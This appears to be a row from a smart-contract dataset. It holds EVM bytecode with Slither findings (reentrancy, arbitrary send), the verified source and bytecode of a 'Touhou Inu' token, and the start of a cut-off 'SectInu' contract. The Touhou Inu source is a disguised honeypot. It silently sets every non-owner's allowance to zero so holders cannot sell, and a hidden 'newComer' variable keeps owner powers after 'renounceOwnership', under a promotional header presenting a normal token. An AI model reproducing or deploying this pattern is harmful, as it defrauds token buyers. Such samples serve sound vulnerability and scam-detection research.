65b6016546001600160a01b0316336001600160a01b0316146108d057600080fd5b476108da81611a00565b50565b6001600160a01b0381166000908152600260205260408120546105d990611a85565b6000546001600160a01b031633146109295760405162461bcd60e51b8152600401610682906127a9565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461099d5760405162461bcd60e51b8152600401610682906127a9565b6001600160a01b03811660009081526008602052604090205460ff16610a055760405162461bcd60e51b815260206004820152601a60248201527f4163636f756e74206973206e6f7420626c61636b6c69737465640000000000006044820152606401610682565b60005b600954811015610b5557816001600160a01b031660098281548110610a3d57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610b435760098054610a68906001906128a5565b81548110610a8657634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600980546001600160a01b039092169183908110610ac057634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600890915260409020805460ff191690556009805480610b1d57634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610b4d816128bc565b915050610a08565b5050565b60006105d533848461150b565b6000546001600160a01b03163314610b905760405162461bcd60e51b8152600401610682906127a9565b8015610ba3576010601355600060125550565b6008601381905560125550565b6000546001600160a01b03163314610bda5760405162461bcd60e51b8152600401610682906127a9565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6016546001600160a01b0316336001600160a01b031614610c2557600080fd5b6000610c30306108dd565b90506108da81611b09565b6000546001600160a01b03163314610c655760405162461bcd60e51b8152600401610682906127a9565b6019805460ff60a01b1916600160a01b179055610c844261025861284e565b601a55565b601954600090610653906001600160a01b03166108dd565b6000546001600160a01b03163314610ccb5760405162461bcd60e51b8152600401610682906127a9565b601954600160a01b900460ff1615610d255760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610682565b601880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610d6030826658d15e176280006113e7565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d9957600080fd5b505afa158015610dad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd191906125e4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e1957600080fd5b505afa158015610e2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5191906125e4565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610e9957600080fd5b505af1158015610ead573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed191906125e4565b601980546001600160a01b0319166001600160a01b039283161790556018541663f305d7194730610f01816108dd565b600080610f166000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610f7957600080fd5b505af1158015610f8d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fb29190612729565b50506658d15e176280006014555065e35fa931a00060155542600f5560195460185460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b15801561101f57600080fd5b505af1158015611033573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5591906126ec565b6000546001600160a01b031633146110815760405162461bcd60e51b8152600401610682906127a9565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03821614156110f95760405162461bcd60e51b815260206004820152602260248201527f57652063616e206e6f74206578636c75646520556e697377617020726f757465604482015261391760f11b6064820152608401610682565b6001600160a01b03811660009081526006602052604090205460ff16156111625760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610682565b6001600160a01b038116600090815260026020526040902054156111bc576001600160a01b0381166000908152600260205260409020546111a290611a85565b6001600160a01b0382166000908152600360205260409020555b6001600160a01b03166000818152600660205260408120805460ff191660019081179091556007805491820181559091527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6880180546001600160a01b0319169091179055565b6000546001600160a01b0316331461124c5760405162461bcd60e51b8152600401610682906127a9565b6001600160a01b03811660009081526006602052604090205460ff166112b45760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610682565b60005b600754811015610b5557816001600160a01b0316600782815481106112ec57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b031614156113d55760078054611317906001906128a5565b8154811061133557634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600780546001600160a01b03909216918390811061136f57634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600382526040808220829055600690925220805460ff191690556007805480610b1d57634e487b7160e01b600052603160045260246000fd5b806113df816128bc565b9150506112b7565b6001600160a01b0383166114495760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610682565b6001600160a01b0382166114aa5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610682565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661156f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610682565b6001600160a01b0382166115d15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610682565b600081116116335760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610682565b6001600160a01b03821660009081526008602052604090205460ff16156116965760405162461bcd60e51b8152602060048201526017602482015276596f752068617665206e6f20706f77657220686572652160481b6044820152606401610682565b3360009081526008602052604090205460ff16156116f05760405162461bcd60e51b8152602060048201526017602482015276596f752068617665206e6f20706f77657220686572652160481b6044820152606401610682565b6000546001600160a01b0384811691161480159061171c57506000546001600160a01b03838116911614155b1561196957601954600160a81b900460ff161561179c57336000908152600a602052604090206002015460ff1661179c5760408051606081018252600080825260208083018281526001848601818152338552600a909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6019546001600160a01b0384811691161480156117c757506018546001600160a01b03838116911614155b80156117ec57506001600160a01b03821660009081526005602052604090205460ff16155b1561188657601954600160a01b900460ff1661184a5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610682565b60145481111561185957600080fd5b6000600d55601254600e55601954600160a81b900460ff16156118865742601a54111561188657605a600e555b6019546001600160a01b0383811691161480156118b157506018546001600160a01b03848116911614155b80156118d657506001600160a01b03831660009081526005602052604090205460ff16155b156118f6576015548111156118ea57600080fd5b6000600d55601354600e555b6000611901306108dd565b601954909150600160b01b900460ff1615801561192c57506019546001600160a01b03858116911614155b80156119415750601954600160a01b900460ff165b156119675780156119555761195581611b09565b4780156119655761196547611a00565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806119ab57506001600160a01b03831660009081526005602052604090205460ff165b156119b4575060005b6119c084848484611cae565b50505050565b600081848411156119ea5760405162461bcd60e51b81526004016106829190612756565b5060006119f784866128a5565b95945050505050565b6016546001600160a01b03166108fc611a1a836002611e25565b6040518115909202916000818181858888f19350505050158015611a42573d6000803e3d6000fd5b506017546001600160a01b03166108fc611a5d836002611e25565b6040518115909202916000818181858888f19350505050158015610b55573d6000803e3d6000fd5b6000600b54821115611aec5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610682565b6000611af6611e67565b9050611b028382611e25565b9392505050565b6019805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611b5f57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601854604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611bb357600080fd5b505afa158015611bc7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611beb91906125e4565b81600181518110611c0c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601854611c3291309116846113e7565b60185460405163791ac94760e01b81526001600160a01b039091169063791ac94790611c6b9085906000908690309042906004016127de565b600060405180830381600087803b158015611c8557600080fd5b505af1158015611c99573d6000803e3d6000fd5b50506019805460ff60b01b1916905550505050565b80611cbb57611cbb611e8a565b6001600160a01b03841660009081526006602052604090205460ff168015611cfc57506001600160a01b03831660009081526006602052604090205460ff16155b15611d1157611d0c848484611eb8565b611e0f565b6001600160a01b03841660009081526006602052604090205460ff16158015611d5257506001600160a01b03831660009081526006602052604090205460ff165b15611d6257611d0c848484611fde565b6001600160a01b03841660009081526006602052604090205460ff16158015611da457506001600160a01b03831660009081526006602052604090205460ff16155b15611db457611d0c848484612087565b6001600160a01b03841660009081526006602052604090205460ff168015611df457506001600160a01b03831660009081526006602052604090205460ff165b15611e0457611d0c8484846120cb565b611e0f848484612087565b806119c0576119c0601054600d55601154600e55565b6000611b0283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061213e565b6000806000611e7461216c565b9092509050611e838282611e25565b9250505090565b600d54158015611e9a5750600e54155b15611ea157565b600d8054601055600e805460115560009182905555565b600080600080600080611eca87612338565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611efc9088612395565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611f2b9087612395565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611f5a90866123d7565b6001600160a01b038916600090815260026020526040902055611f7c81612436565b611f868483612480565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611fcb91815260200190565b60405180910390a3505050505050505050565b600080600080600080611ff087612338565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506120229087612395565b6001600160a01b03808b16600090815260026020908152604080832094909455918b1681526003909152205461205890846123d7565b6001600160a01b038916600090815260036020908152604080832093909355600290522054611f5a90866123d7565b60008060008060008061209987612338565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611f2b9087612395565b6000806000806000806120dd87612338565b6001600160a01b038f16600090815260036020526040902054959b5093995091975095509350915061210f9088612395565b6001600160a01b038a166000908152600360209081526040808320939093556002905220546120229087612395565b6000818361215f5760405162461bcd60e51b81526004016106829190612756565b5060006119f78486612866565b600b5460009081906658d15e17628000825b6007548110156122ff578260026000600784815481106121ae57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180612227575081600360006007848154811061220057634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15612241575050600b54936658d15e176280009350915050565b612295600260006007848154811061226957634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490612395565b92506122eb60036000600784815481106122bf57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390612395565b9150806122f7816128bc565b91505061217e565b50600b54612314906658d15e17628000611e25565b82101561232f575050600b54926658d15e1762800092509050565b90939092509050565b60008060008060008060008060006123558a600d54600e546124a4565b9250925092506000612365611e67565b905060008060006123788e8787876124f9565b919e509c509a509598509396509194505050505091939550919395565b6000611b0283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119c6565b6000806123e4838561284e565b905083811015611b025760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610682565b6000612440611e67565b9050600061244e8383612549565b3060009081526002602052604090205490915061246b90826123d7565b30600090815260026020526040902055505050565b600b5461248d9083612395565b600b55600c5461249d90826123d7565b600c555050565b60008080806124be60646124b88989612549565b90611e25565b905060006124d160646124b88a89612549565b905060006124e9826124e38b86612395565b90612395565b9992985090965090945050505050565b60008080806125088886612549565b905060006125168887612549565b905060006125248888612549565b90506000612536826124e38686612395565b939b939a50919850919650505050505050565b600082612558575060006105d9565b60006125648385612886565b9050826125718583612866565b14611b025760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610682565b6000602082840312156125d9578081fd5b8135611b02816128ed565b6000602082840312156125f5578081fd5b8151611b02816128ed565b60008060408385031215612612578081fd5b823561261d816128ed565b9150602083013561262d816128ed565b809150509250929050565b60008060006060848603121561264c578081fd5b8335612657816128ed565b92506020840135612667816128ed565b929592945050506040919091013590565b6000806040838503121561268a578182fd5b8235612695816128ed565b9150602083013561262d81612902565b600080604083850312156126b7578182fd5b82356126c2816128ed565b946020939093013593505050565b6000602082840312156126e1578081fd5b8135611b0281612902565b6000602082840312156126fd578081fd5b8151611b0281612902565b6000806040838503121561271a578182fd5b50508035926020909101359150565b60008060006060848603121561273d578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561278257858101830151858201604001528201612766565b818111156127935783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561282d5784516001600160a01b031683529383019391830191600101612808565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115612861576128616128d7565b500190565b60008261288157634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156128a0576128a06128d7565b500290565b6000828210156128b7576128b76128d7565b500390565b60006000198214156128d0576128d06128d7565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146108da57600080fd5b80151581146108da57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200bc6d7d5b5b7ae76ebd176e2c9b56b8c2b7cb1b6a4c5f8831a7ab1f4963f2d6d64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,702 |
0x498837f042e86ebec802d79857a02641f7fbc1e6
|
/**
*Submitted for verification at Etherscan.io on 2022-01-25
*/
/*
Touhou Inu
✅ What is Touhou?
The Touhou Project is set in Gensokyo,a land sealed from the outside world and primarily inhabited by humans and yōkai, legendary creatures from Japanese folklore that are personified in Touhou as bishōjo in an anthropomorphic moe style.
Touhou Inu is the total of the Touhou NFTs and NFT marketplace, Touhou anime, Touhou P2E game, Touhou comic book and more following this series.
✅Tokenomics
- Total Supply: 1,000,000,000,000
- Tax: 12%
- Marketing: 6%
- Development: 6%
Dyor and go check them out 👇
Website : https://Touhouinu.com
Twitter : https://twitter.com/Touhouinutoken
Telegram : @Touhouinutoken
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract TouhouInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**9* 10**18;
string private _name = 'Touhou Inu ' ;
string private _symbol = 'Touhou ' ;
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220c0444713da4442abe18a8082568a394c91ff1406b8c1d2b465032c32e1c1b54064736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 5,703 |
0x4aac9131b5b3f90055b8245cdffebf675d8e8970
|
/**
*Submitted for verification at Etherscan.io on 2022-04-04
*/
/**
Welcome to the SectInu
Community Driven Project
Total tax : 2%
Ownership renounced.
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
